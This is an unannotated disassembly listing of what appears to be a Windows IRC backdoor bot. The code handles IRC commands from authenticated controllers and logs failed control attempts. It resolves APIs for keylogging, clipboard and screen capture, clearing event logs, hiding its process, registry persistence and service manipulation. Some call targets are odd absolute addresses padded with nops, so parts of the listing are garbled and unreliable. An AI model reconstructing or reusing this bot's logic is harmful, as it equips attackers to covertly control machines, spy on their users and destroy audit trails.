		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		pop	ecx
		pop	ecx
		push	1F4h
		nop
		call	near ptr 2680646h
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E5A4[eax]
		call	near ptr 26A0000h
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43E5A4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E390[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D6:				; CODE XREF: sub_401ACD+3DCCj
					; sub_401ACD+3DE1j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409642
		call	sub_40B2C0
		cmp	eax, ebx
		jle	short loc_4095FD
		push	eax
		push	offset unk_429DC4
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_4095FD:				; CODE XREF: sub_401ACD+7B23j
		push	offset unk_429D9C


loc_409602:				; CODE XREF: sub_401ACD+24FAj
					; sub_401ACD+2519j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_409610:				; CODE XREF: sub_401ACD+721Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409629:				; CODE XREF: sub_401ACD+6DB5j
		call	sub_409A73
		add	esp, 14h


loc_409631:				; CODE XREF: sub_401ACD+26F7j
					; sub_401ACD+2722j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409642:				; CODE XREF: sub_401ACD+7B1Aj
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965E:				; CODE XREF: sub_401ACD+7C02j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B232
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409685
		push	offset unk_429D78
		jmp	short loc_40968A
; ---------------------------------------------------------------------------


loc_409685:				; CODE XREF: sub_401ACD+7BAFj
		push	offset unk_429D4C


loc_40968A:				; CODE XREF: sub_401ACD+7BB6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096BA
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4096BA:				; CODE XREF: sub_401ACD+7BCFj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965E
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D6:				; CODE XREF: sub_401ACD+3DA2j
					; sub_401ACD+3DB7j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset dword_42A4B8
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset dword_429D30
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409712:				; CODE XREF: sub_401ACD+3D78j
					; sub_401ACD+3D8Dj
		push	[ebp+arg_10]
		push	offset dword_42A41C
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429D0C
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409732:				; CODE XREF: sub_401ACD+3D4Ej
					; sub_401ACD+3D63j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429CE8
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409759:				; CODE XREF: sub_401ACD+3D24j
					; sub_401ACD+3D39j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_409779:				; CODE XREF: sub_401ACD+3164j
					; sub_401ACD+3179j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B3:				; CODE XREF: sub_401ACD+7D34j
		push	eax
		call	near ptr 2680646h
		nop


loc_4097BA:				; CODE XREF: sub_401ACD+2AA3j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C1:				; CODE XREF: sub_401ACD+313Aj
					; sub_401ACD+314Fj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C78
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B3
; ---------------------------------------------------------------------------


loc_409803:				; CODE XREF: sub_401ACD+EC9j
					; sub_401ACD+EDEj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08E
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C54


loc_40984E:				; CODE XREF: sub_401ACD+70B5j
					; sub_401ACD+778Bj ...
		call	sub_415221
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+6CBAj
		pop	ecx


loc_409855:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985D:				; CODE XREF: sub_401ACD+AB4j
					; sub_401ACD+AC9j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42D120 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CB50C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429C50 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FC
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BD0
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FC:				; CODE XREF: sub_401ACD+7DEBj
		mov	[ebp+arg_24], offset off_429160


loc_409903:				; CODE XREF: sub_401ACD+7E52j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409963
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409903
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B7C
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409963:				; CODE XREF: sub_401ACD+7E45j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409968:				; CODE XREF: sub_401ACD+7EC5j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409988
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409999


loc_409988:				; CODE XREF: sub_401ACD+7EA6j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409968
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409999:				; CODE XREF: sub_401ACD+7EB9j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099D0
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B5C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_4099D0:				; CODE XREF: sub_401ACD+7EE7j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B3C
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E1:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		mov	dword_4CB504, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2D	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		leave
		retn
sub_409A2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A73	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8E
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8E:				; CODE XREF: sub_409A73+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B11
		push	7D0h
		nop
		call	near ptr 2680646h

locret_409B11:				; CODE XREF: sub_409A73+91j
		leave
		retn
sub_409A73	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B13	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C33
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB700, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB674, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB658, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB568, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB514, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB544, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB5BC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB6B4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB710, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB574, eax
		call	esi
		cmp	dword_4CB700, ebx
		mov	dword_4CB55C, eax
		jz	short loc_409C11
		cmp	dword_4CB674, ebx
		jz	short loc_409C11
		cmp	dword_4CB658, ebx
		jz	short loc_409C11
		cmp	dword_4CB568, ebx
		jz	short loc_409C11
		cmp	dword_4CB544, ebx
		jz	short loc_409C11
		cmp	dword_4CB5BC, ebx
		jz	short loc_409C11
		cmp	dword_4CB6B4, ebx
		jz	short loc_409C11
		cmp	dword_4CB710, ebx
		jz	short loc_409C11
		cmp	dword_4CB574, ebx
		jz	short loc_409C11
		cmp	eax, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409B13+B8j
					; sub_409B13+C0j ...
		mov	dword_4CB714, 1


loc_409C1B:				; CODE XREF: sub_409B13+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB68C, eax
		jz	short loc_409C48
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C48
; ---------------------------------------------------------------------------


loc_409C33:				; CODE XREF: sub_409B13+1Dj
		call	near ptr 2680F9Dh
		nop
		mov	dword_4CB718, eax
		mov	dword_4CB714, 1


loc_409C48:				; CODE XREF: sub_409B13+117j
					; sub_409B13+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26B0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5D
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB6B0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB660, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5F4, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB704, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB624, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB644, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB6A8, eax
		call	esi
		cmp	dword_4CB6B0, ebx
		mov	dword_4CB594, eax
		jz	short loc_409D01
		cmp	dword_4CB660, ebx
		jz	short loc_409D01
		cmp	dword_4CB5F4, ebx
		jz	short loc_409D01
		cmp	dword_4CB704, ebx
		jz	short loc_409D01
		cmp	dword_4CB624, ebx
		jz	short loc_409D01
		cmp	dword_4CB644, ebx
		jz	short loc_409D01
		cmp	dword_4CB6A8, ebx
		jz	short loc_409D01
		cmp	eax, ebx
		jnz	short loc_409D0B


loc_409D01:				; CODE XREF: sub_409B13+1B8j
					; sub_409B13+1C0j ...
		mov	dword_4CB71C, 1


loc_409D0B:				; CODE XREF: sub_409B13+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB620, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB528, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi
		cmp	dword_4CB620, ebx
		mov	dword_4CB5D8, eax
		jz	short loc_409D68
		cmp	dword_4CB528, ebx
		jz	short loc_409D68
		cmp	dword_4CB5F0, ebx
		jz	short loc_409D68
		cmp	eax, ebx
		jnz	short loc_409D72
		jmp	short loc_409D68
; ---------------------------------------------------------------------------


loc_409D5D:				; CODE XREF: sub_409B13+144j
		nop
		call	near ptr 2680F9Dh
		mov	dword_4CB720, eax


loc_409D68:				; CODE XREF: sub_409B13+232j
					; sub_409B13+23Aj ...
		mov	dword_4CB71C, 1


loc_409D72:				; CODE XREF: sub_409B13+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2B
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB6C4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB608, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB678, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB554, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB5B8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB630, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5D4, eax
		call	esi
		cmp	dword_4CB6C4, ebx
		mov	dword_4CB5E4, eax
		jz	short loc_409E1B
		cmp	dword_4CB608, ebx
		jz	short loc_409E1B
		cmp	dword_4CB678, ebx
		jz	short loc_409E1B
		cmp	dword_4CB554, ebx
		jz	short loc_409E1B
		cmp	dword_4CB5B8, ebx
		jz	short loc_409E1B
		cmp	dword_4CB630, ebx
		jnz	short loc_409E25


loc_409E1B:				; CODE XREF: sub_409B13+2DEj
					; sub_409B13+2E6j ...
		mov	dword_4CB724, 1


loc_409E25:				; CODE XREF: sub_409B13+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB638, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB610, eax
		call	esi
		cmp	dword_4CB638, ebx
		mov	dword_4CB6C0, eax
		jz	short loc_409E60
		cmp	dword_4CB610, ebx
		jz	short loc_409E60
		cmp	eax, ebx
		jnz	short loc_409E6A


loc_409E60:				; CODE XREF: sub_409B13+33Fj
					; sub_409B13+347j
		mov	dword_4CB724, 1


loc_409E6A:				; CODE XREF: sub_409B13+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB648, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB530, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB538, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB59C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB5A0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB54C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB614, eax
		call	esi
		cmp	dword_4CB648, ebx
		mov	dword_4CB53C, eax
		jz	short loc_409F0E
		cmp	dword_4CB530, ebx
		jz	short loc_409F0E
		cmp	dword_4CB538, ebx
		jz	short loc_409F0E
		cmp	dword_4CB59C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB5A0, ebx
		jz	short loc_409F0E
		cmp	dword_4CB54C, ebx
		jz	short loc_409F0E
		cmp	dword_4CB614, ebx
		jz	short loc_409F0E
		cmp	eax, ebx
		jnz	short loc_409F18


loc_409F0E:				; CODE XREF: sub_409B13+3C5j
					; sub_409B13+3CDj ...
		mov	dword_4CB724, 1


loc_409F18:				; CODE XREF: sub_409B13+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB534, eax
		jnz	short loc_409F40
		jmp	short loc_409F36
; ---------------------------------------------------------------------------


loc_409F2B:				; CODE XREF: sub_409B13+26Aj
		call	near ptr 2680F9Dh
		nop
		mov	dword_4CB728, eax


loc_409F36:				; CODE XREF: sub_409B13+416j
		mov	dword_4CB724, 1


loc_409F40:				; CODE XREF: sub_409B13+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00C
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB640, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB698, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB6A0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB65C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB578, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB524, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB69C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB510, eax
		call	esi
		cmp	dword_4CB640, ebx
		mov	dword_4CB5B0, eax
		jz	short loc_40A017
		cmp	dword_4CB698, ebx
		jz	short loc_40A017
		cmp	dword_4CB6A0, ebx
		jz	short loc_40A017
		cmp	dword_4CB65C, ebx
		jz	short loc_40A017
		cmp	dword_4CB578, ebx
		jz	short loc_40A017
		cmp	dword_4CB524, ebx
		jz	short loc_40A017
		cmp	dword_4CB69C, ebx
		jz	short loc_40A017
		cmp	dword_4CB510, ebx
		jz	short loc_40A017
		cmp	eax, ebx
		jnz	short loc_40A021
		jmp	short loc_40A017
; ---------------------------------------------------------------------------


loc_40A00C:				; CODE XREF: sub_409B13+438j
		call	near ptr 2680F9Dh
		nop
		mov	dword_4CB730, eax


loc_40A017:				; CODE XREF: sub_409B13+4B9j
					; sub_409B13+4C1j ...
		mov	dword_4CB72C, 1


loc_40A021:				; CODE XREF: sub_409B13+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DD
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB5C4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6F8, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB564, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB540, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB600, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB5AC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CB6D4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB6F0, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB5FC, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CB694, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB654, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB650, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB584, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB57C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CB6B8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB66C, eax
		call	esi
		mov	dword_4CB62C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CB680, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB63C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CB67C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB6E8, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB634, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB5F8, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB668, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CB6D8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB60C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB5A8, eax
		call	esi
		cmp	dword_4CB5C4, ebx
		mov	dword_4CB6EC, eax
		jz	loc_40A2E8
		cmp	dword_4CB6F8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB564, ebx
		jz	loc_40A2E8
		cmp	dword_4CB600, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5E8, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5AC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6D4, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6F0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB5FC, ebx
		jz	loc_40A2E8
		cmp	dword_4CB6E0, ebx
		jz	loc_40A2E8
		cmp	dword_4CB694, ebx
		jz	loc_40A2E8
		cmp	dword_4CB654, ebx
		jz	loc_40A2E8
		cmp	dword_4CB650, ebx
		jz	loc_40A2E8
		cmp	dword_4CB584, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6A4, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6B8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB66C, ebx
		jz	short loc_40A2E8
